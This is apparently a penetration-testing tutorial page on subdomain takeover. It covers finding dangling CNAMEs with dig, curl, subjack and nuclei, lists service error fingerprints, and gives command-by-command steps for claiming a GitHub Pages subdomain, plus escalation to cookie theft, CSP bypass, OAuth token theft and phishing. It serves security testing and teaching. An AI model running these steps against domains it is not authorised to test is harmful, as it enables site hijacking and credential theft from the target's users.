Skip to content
HackIndex.io

Subdomain Takeover

3 min read Created Sep 14, 2026 Last updated Sep 14, 2026

Subdomain takeover occurs when a DNS record (typically a CNAME) points to an external service that has been deprovisioned. If the attacker can register the same resource name on that external service, they control the content served on the target's subdomain. This enables phishing, cookie theft (if the parent domain sets cookies on *.target.com), and bypassing domain-based security controls like CSP and CORS.

Identifying Dangling CNAMEs

Look for subdomains that CNAME to external services (AWS, Azure, GitHub Pages, Heroku, etc.) where the destination resource no longer exists.

┌──(kali㉿kali)-[~]
└─$ dig CNAME staging.target.com +short 
staging-target.herokuapp.com.

A CNAME pointing to a service like herokuapp.com, s3.amazonaws.com, azurewebsites.net, or github.io is a takeover candidate. Verify the destination is unclaimed.

┌──(kali㉿kali)-[~]
└─$ curl -s -o /dev/null -w '%{http_code}' https://staging.target.com 
404

A 404, NXDOMAIN, or service-specific error page ("There isn't a GitHub Pages site here", "NoSuchBucket") confirms the resource is not claimed. A 200 with the service's default page may also indicate it is claimable.

Automated Scanning

┌──(kali㉿kali)-[~]
└─$ subjack -w subdomains.txt -t 50 -timeout 30 -ssl -o results.txt 
[VULNERABLE] staging.target.com - CNAME: staging-target.herokuapp.com - Heroku
Explain command
-w subdomains.txt Wordlist of subdomains to check (from subdomain enumeration).
-ssl Also check HTTPS connections.

subjack checks CNAMEs against known vulnerable service fingerprints. Feed it output from tools like subfinder, amass, or assetfinder.

┌──(kali㉿kali)-[~]
└─$ nuclei -l subdomains.txt -t takeovers/

Nuclei has dedicated takeover detection templates for 40+ services.

Common Vulnerable Services

Services where a dangling CNAME is exploitable:

  • GitHub Pages: "There isn't a GitHub Pages site here." Create a repo with a CNAME file matching the subdomain.
  • Heroku: "No such app." Create an app with the matching name.
  • AWS S3: "NoSuchBucket." Create a bucket with the matching name.
  • Azure: various (azurewebsites.net, blob.core.windows.net, cloudapp.azure.com). Register the resource name.
  • Shopify: "Sorry, this shop is currently unavailable." Register a Shopify store and add the custom domain.
  • Fastly: "Fastly error: unknown domain." Add the domain to a Fastly service.
  • Pantheon: "404 error unknown site."
  • Unbounce: "The requested URL was not found on this server."

Claiming the Subdomain (GitHub Pages Example)

┌──(kali㉿kali)-[~]
└─$ mkdir takeover && cd takeover
┌──(kali㉿kali)-[~]
└─$ echo 'Subdomain takeover PoC' > index.html
┌──(kali㉿kali)-[~]
└─$ echo 'staging.target.com' > CNAME
┌──(kali㉿kali)-[~]
└─$ git init && git add . && git commit -m 'takeover poc'
┌──(kali㉿kali)-[~]
└─$ git remote add origin https://github.com/youraccount/takeover.git
┌──(kali㉿kali)-[~]
└─$ git push -u origin main

Enable GitHub Pages on the repo (Settings > Pages > Deploy from branch). The CNAME file tells GitHub to serve this site for staging.target.com. After DNS propagation, https://staging.target.com serves your content.

Impact Escalation

Beyond serving content, subdomain takeover enables:

  • Cookie theft: if the parent domain sets cookies on .target.com, your subdomain receives them.
  • CSP bypass: if the CSP allows *.target.com, your subdomain can host scripts that execute on the main domain.
  • OAuth token theft: if the subdomain is whitelisted as a redirect URI in an OAuth configuration.
  • Phishing: serve a login page on a legitimate subdomain to capture credentials.

References